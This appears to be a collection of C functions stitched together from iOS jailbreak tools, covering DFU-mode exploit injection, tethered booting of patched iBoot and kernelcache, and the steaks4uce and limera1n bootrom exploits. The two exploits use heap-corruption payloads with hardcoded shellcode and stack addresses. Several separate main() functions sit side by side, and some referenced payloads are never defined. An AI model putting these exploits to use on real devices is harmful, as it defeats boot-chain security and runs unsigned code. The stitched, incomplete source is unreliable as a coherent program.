int main(int argc, char* argv[]) { int result = 0; if (argc != 3) { usage(); } const char* ibssFile = argv[1]; const char* kernelcacheFile = argv[2]; pois0n_init(); pois0n_set_callback(&print_progress, NULL); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); return result; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); return result; } debug("Uploading %s to device\n", ibssFile); irecv_error_t error = irecv_send_file(client, ibssFile, 1); if(error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(error)); return -1; } client = irecv_reconnect(client, 10); debug("Uploading %s to device\n", kernelcacheFile); error = irecv_send_file(client, kernelcacheFile, 1); if(error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(error)); return -1; } error = irecv_send_command(client, "bootx"); if(error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); return -1; } pois0n_exit(); return 0; }
int pois0n_inject() { int result = 0; result = pois0n_injectonly(); if (result < 0) { error("DFU Exploit injection failed (%u)\n", result); return result; } ////////////////////////////////////// // Send iBSS debug("Preparing to upload iBSS\n"); if (upload_ibss() < 0) { //error("Unable to upload iBSS\n"); //return -1; } debug("Reconnecting to device\n"); client = irecv_reconnect(client, 10); if (client == NULL) { error("Unable to reconnect\n"); return -1; } debug("Preparing to upload iBSS payload\n"); if (upload_ibss_payload() < 0) { error("Unable to upload iBSS payload\n"); return -1; } debug("Executing iBSS payload\n"); if (execute_ibss_payload() < 0) { error("Unable to execute iBSS payload\n"); return -1; } return 0; }
int boot_iboot() { irecv_error_t error = IRECV_E_SUCCESS; debug("Loading iBoot\n"); if (device->chip_id == 8720) { error = irecv_send_command(client, "go image load 0x69626F74 0x9000000"); } else { error = irecv_send_command(client, "go image load 0x69626F74 0x41000000"); } if (error != IRECV_E_SUCCESS) { error("Unable load iBoot to memory\n"); return -1; } debug("Shifting iBoot\n"); if (device->chip_id == 8720) { error = irecv_send_command(client, "go memory move 0x9000040 0x9000000 0x48000"); } else { error = irecv_send_command(client, "go memory move 0x41000040 0x41000000 0x48000"); } if (error != IRECV_E_SUCCESS) { error("Unable to move iBoot into memory\n"); return -1; } debug("Patching iBoot\n"); if (device->chip_id == 8720) { error = irecv_send_command(client, "go patch 0x9000000 0x48000"); } else { error = irecv_send_command(client, "go patch 0x41000000 0x48000"); } if (error != IRECV_E_SUCCESS) { error("Unable to patch iBoot\n"); return -1; } irecv_setenv(client, "auto-boot", "false"); irecv_saveenv(client); debug("Jumping into iBoot\n"); if (device->chip_id == 8720) { error = irecv_send_command(client, "go jump 0x9000000"); } else { error = irecv_send_command(client, "go jump 0x41000000"); } if (error != IRECV_E_SUCCESS) { error("Unable to jump into iBoot\n"); return -1; } debug("Reconnecting to device\n"); client = irecv_reconnect(client, 10); if (client == NULL) { error("Unable to boot the device tethered\n"); return -1; } irecv_setenv(client, "auto-boot", "true"); irecv_saveenv(client); if (upload_firmware_payload("iBoot") < 0) { error("Unable to boot the device tethered\n"); return -1; } debug("Initializing greenpois0n in iBoot\n"); irecv_send_command(client, "go"); return 0; }
int tethered_boot(const char *ibssFile, const char *ibecFile, const char *kernelcacheFile, const char *ramdiskFile, const char *devicetreeFile) { int result = 0; irecv_error_t ir_error = IRECV_E_SUCCESS; irecv_client_t client = g_syringe_client; libpois0n_debug = 1; pois0n_init(); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); goto cleanup; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); goto cleanup; } client = g_syringe_client; if (ibssFile != NULL) { debug("Uploading %s to device, mode: 0x%x\n", ibssFile, client->mode); ir_error = irecv_send_file(client, ibssFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(10); } else { error("ibss can't be null\n"); result = -1; goto cleanup; } if (ibecFile != NULL) { client = g_syringe_client = irecv_reconnect(client, 10); debug("Uploading iBEC %s to device, mode: 0x%x\n", ibecFile, client->mode); ir_error = irecv_send_file(client, ibecFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBEC\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(5); } client = g_syringe_client = irecv_reconnect(client, 10); if (ramdiskFile != NULL) { debug("Uploading ramdisk %s to device\n", ramdiskFile); ir_error = irecv_send_file(client, ramdiskFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload ramdisk\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } sleep(5); ir_error = irecv_send_command(client, "ramdisk"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the ramdisk command\n"); result = -1; goto cleanup; } } if (devicetreeFile != NULL) { debug("Uploading device tree %s to device\n", devicetreeFile); ir_error = irecv_send_file(client, devicetreeFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload device tree\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } ir_error = irecv_send_command(client, "devicetree"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to send the devicetree command\n"); result = -1; goto cleanup; } } if (kernelcacheFile != NULL) { debug("Uploading kernel %s to device, mode: 0x%x\n", kernelcacheFile, client->mode); ir_error = irecv_send_file(client, kernelcacheFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(ir_error)); result = -1; goto cleanup; } ir_error = irecv_send_command(client, "bootx"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); result = -1; goto cleanup; } } else { error("kernelcache can't be null\n"); result = -1; goto cleanup; } result = 0; cleanup: fflush(stderr); if (g_syringe_client) { irecv_close(&g_syringe_client); g_syringe_client = NULL; } //pois0n_exit(); return result; }
int main(int argc, char* argv[]) { int result = 0; irecv_error_t ir_error = IRECV_E_SUCCESS; //int index; const char *ibssFile = NULL, *ibecFile = NULL, *kernelcacheFile = NULL, *ramdiskFile = NULL, *bgcolor = NULL, *bootlogo = NULL; int c; opterr = 0; while ((c = getopt (argc, argv, "vhi:b:k:r:l:c:")) != -1) switch (c) { case 'v': g_verbose = true; break; case 'h': usage(); break; case 'i': if (!file_exists(optarg)) { error("Cannot open iBSS file '%s'\n", optarg); return -1; } ibssFile = optarg; break; case 'b': if (!file_exists(optarg)) { error("Cannot open iBEC file '%s'\n", optarg); return -1; } ibecFile = optarg; break; case 'k': if (!file_exists(optarg)) { error("Cannot open kernelcache file '%s'\n", optarg); return -1; } kernelcacheFile = optarg; break; case 'r': if (!file_exists(optarg)) { error("Cannot open ramdisk file '%s'\n", optarg); return -1; } ramdiskFile = optarg; break; case 'l': if (!file_exists(optarg)) { error("Cannot open bootlogo file '%s'\n", optarg); return -1; } bootlogo = optarg; break; case 'c': bgcolor = optarg; break; default: usage(); } pois0n_init(); pois0n_set_callback(&print_progress, NULL); info("Waiting for device to enter DFU mode\n"); while(pois0n_is_ready()) { sleep(1); } info("Found device in DFU mode\n"); result = pois0n_is_compatible(); if (result < 0) { error("Your device in incompatible with this exploit!\n"); return result; } result = pois0n_injectonly(); if (result < 0) { error("Exploit injection failed!\n"); return result; } if (ibssFile != NULL) { debug("Uploading %s to device\n", ibssFile); ir_error = irecv_send_file(g_syringe_client, ibssFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBSS\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(10); } else { return 0; } if (ibecFile != NULL) { g_syringe_client = irecv_reconnect(g_syringe_client, 10); debug("Uploading iBEC %s to device\n", ibecFile); ir_error = irecv_send_file(g_syringe_client, ibecFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload iBEC\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(5); } g_syringe_client = irecv_reconnect(g_syringe_client, 10); if (ramdiskFile != NULL) { debug("Uploading ramdisk %s to device\n", ramdiskFile); ir_error = irecv_send_file(g_syringe_client, ramdiskFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload ramdisk\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } sleep(5); ir_error = irecv_send_command(g_syringe_client, "ramdisk"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the ramdisk command\n"); return -1; } } if (bootlogo != NULL) { debug("Uploading boot logo %s to device\n", bootlogo); ir_error = irecv_send_file(g_syringe_client, bootlogo, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload bootlogo\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } ir_error = irecv_send_command(g_syringe_client, "setpicture 1"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to set picture\n"); return -1; } ir_error = irecv_send_command(g_syringe_client, "bgcolor 0 0 0"); if(ir_error != IRECV_E_SUCCESS) { error("Unable to set picture\n"); return -1; } } if (bgcolor != NULL) { char finalbgcolor[255]; sprintf(finalbgcolor, "bgcolor %s", bgcolor); ir_error = irecv_send_command(g_syringe_client, finalbgcolor); if(ir_error != IRECV_E_SUCCESS) { error("Unable set bgcolor\n"); return -1; } } if (kernelcacheFile != NULL) { debug("Uploading %s to device\n", kernelcacheFile); ir_error = irecv_send_file(g_syringe_client, kernelcacheFile, 1); if(ir_error != IRECV_E_SUCCESS) { error("Unable to upload kernelcache\n"); debug("%s\n", irecv_strerror(ir_error)); return -1; } ir_error = irecv_send_command(g_syringe_client, "bootx"); if(ir_error != IRECV_E_SUCCESS) { error("Unable send the bootx command\n"); return -1; } } pois0n_exit(); return 0; }
int steaks4uce_exploit() { irecv_error_t error = IRECV_E_SUCCESS; int i, ret; unsigned char data[0x800]; unsigned char payload[] = { /* free'd buffer dlmalloc header: */ 0x84, 0x00, 0x00, 0x00, // 0x00: previous_chunk 0x05, 0x00, 0x00, 0x00, // 0x04: next_chunk /* free'd buffer contents: (malloc'd size=0x1C, real size=0x20, see sub_9C8) */ 0x80, 0x00, 0x00, 0x00, // 0x08: (0x00) direction 0x80, 0x62, 0x02, 0x22, // 0x0c: (0x04) usb_response_buffer 0xff, 0xff, 0xff, 0xff, // 0x10: (0x08) 0x00, 0x00, 0x00, 0x00, // 0x14: (0x0c) data size (filled by the code just after) 0x00, 0x01, 0x00, 0x00, // 0x18: (0x10) 0x00, 0x00, 0x00, 0x00, // 0x1c: (0x14) 0x00, 0x00, 0x00, 0x00, // 0x20: (0x18) 0x00, 0x00, 0x00, 0x00, // 0x24: (0x1c) /* attack dlmalloc header: */ 0x15, 0x00, 0x00, 0x00, // 0x28: previous_chunk 0x02, 0x00, 0x00, 0x00, // 0x2c: next_chunk : 0x2 choosed randomly :-) 0x01, 0x38, 0x02, 0x22, // 0x30: FD : shellcode_thumb_start() //0x90, 0xd7, 0x02, 0x22, // 0x34: BK : free() LR in stack 0xfc, 0xd7, 0x02, 0x22, // 0x34: BK : exception_irq() LR in stack }; //info("Executing steaks4uce exploit ...\n"); //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } //debug("Padding to 0x23800...\n"); memset(data, 0, 0x800); for(i = 0; i < 0x23800 ; i+=0x800) { ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to push data to the device.\n"); return -1; } } //debug("Uploading shellcode.\n"); memset(data, 0, 0x800); memcpy(data, steaks4uce_payload, sizeof(steaks4uce_payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, 0x800, 1000); if (ret < 0) { error("Failed to upload shellcode.\n"); return -1; } //debug("Reseting usb counters.\n"); ret = irecv_control_transfer(client, 0x21, 4, 0, 0, 0, 0, 1000); if (ret < 0) { error("Failed to reset usb counters.\n"); return -1; } int send_size = 0x100 + sizeof(payload); *((unsigned int*) &payload[0x14]) = send_size; memset(data, 0, 0x800); memcpy(&data[0x100], payload, sizeof(payload)); ret = irecv_control_transfer(client, 0x21, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to send steaks4uce to the device.\n"); return -1; } ret = irecv_control_transfer(client, 0xA1, 1, 0, 0, data, send_size , 1000); if (ret < 0) { error("Failed to execute steaks4uce.\n"); return -1; } info("Successfully exploited with steaks4uce!\n"); // debug("Reconnecting to device\n"); client = irecv_reconnect(client, 2); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect to the device\n"); return -1; } return 0; }
int limera1n_exploit(struct idevicerestore_device_t *device, irecv_client_t client) { irecv_error_t error = IRECV_E_SUCCESS; unsigned int i = 0; unsigned char buf[0x800]; unsigned char shellcode[0x800]; unsigned int max_size = 0x24000; //unsigned int load_address = 0x84000000; unsigned int stack_address = 0x84033F98; unsigned int shellcode_address = 0x84023001; unsigned int shellcode_length = 0; if (device->chip_id == 8930) { max_size = 0x2C000; stack_address = 0x8403BF9C; shellcode_address = 0x8402B001; } if (device->chip_id == 8920) { max_size = 0x24000; stack_address = 0x84033FA4; shellcode_address = 0x84023001; } memset(shellcode, 0x0, 0x800); shellcode_length = sizeof(limera1n_payload); memcpy(shellcode, limera1n_payload, sizeof(limera1n_payload)); debug("Resetting device counters\n"); error = irecv_reset_counters(client); if (error != IRECV_E_SUCCESS) { error("%s\n", irecv_strerror(error)); return -1; } memset(buf, 0xCC, 0x800); for(i = 0; i < 0x800; i += 0x40) { unsigned int* heap = (unsigned int*)(buf+i); heap[0] = 0x405; heap[1] = 0x101; heap[2] = shellcode_address; heap[3] = stack_address; } debug("Sending chunk headers\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); memset(buf, 0xCC, 0x800); for(i = 0; i < (max_size - (0x800 * 3)); i += 0x800) { irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 1000); } debug("Sending exploit payload\n"); irecv_control_transfer(client, 0x21, 1, 0, 0, shellcode, 0x800, 1000); debug("Sending fake data\n"); memset(buf, 0xBB, 0x800); irecv_control_transfer(client, 0xA1, 1, 0, 0, buf, 0x800, 1000); irecv_control_transfer(client, 0x21, 1, 0, 0, buf, 0x800, 10); //debug("Executing exploit\n"); irecv_control_transfer(client, 0x21, 2, 0, 0, buf, 0, 1000); irecv_reset(client); irecv_finish_transfer(client); debug("Exploit sent\n"); debug("Reconnecting to device\n"); client = irecv_reconnect(client, 7); if (client == NULL) { debug("%s\n", irecv_strerror(error)); error("Unable to reconnect\n"); return -1; } return 0; }
int main(int argc, char* argv[]) { irecv_error_t error; unsigned int cpid; int can_ra1n = 0; printf("Loadibec " LOADIBEC_VERSION COMMIT_STRING ".\n"); if(argc != 2) { printf("Usage: %s <file>\n" "\tLoads a file to an iDevice in recovery mode and jumps to it.\n", argv[0]); return 0; } irecv_init(); printf("Connecting to iDevice...\n"); error = irecv_open_attempts(&g_syringe_client, 10); if(error != IRECV_E_SUCCESS) { fprintf(stderr, "Failed to connect to iBoot, error %d.\n", error); return -error; } if(irecv_get_cpid(g_syringe_client, &cpid) == IRECV_E_SUCCESS) { if(cpid > 8900) can_ra1n = 1; } if(g_syringe_client->mode == kDfuMode && can_ra1n) { int ret; printf("linera1n compatible device detected, injecting limera1n.\n"); irecv_close(&g_syringe_client); irecv_exit(); pois0n_init(); ret = pois0n_is_ready(); if(ret < 0) return ret; ret = pois0n_is_compatible(); if(ret < 0) return ret; pois0n_inject(); irecv_close(&g_syringe_client); g_syringe_client = NULL; printf("limera1ned, reconnecting...\n"); g_syringe_client = irecv_reconnect(g_syringe_client, 10); if(!g_syringe_client) { fprintf(stderr, "Failed to reconnect.\n"); return 4; } } else can_ra1n = 0; printf("Starting transfer of '%s'.\n", argv[1]); irecv_event_subscribe(g_syringe_client, IRECV_PROGRESS, &progress_cb, NULL); error = irecv_send_file(g_syringe_client, argv[1], 0); if(error != IRECV_E_SUCCESS) { fprintf(stderr, "Failed to upload '%s', error %d.\n", argv[1], error); return 2; } error = irecv_send_command(g_syringe_client, "go"); if(error != IRECV_E_SUCCESS) { fprintf(stderr, "Failed to jump to uploaded file, error %d.\n", error); return 3; } irecv_send_command(g_syringe_client, "go jump 0x41000000"); printf("Uploaded Successfully.\n"); irecv_exit(); return 0; }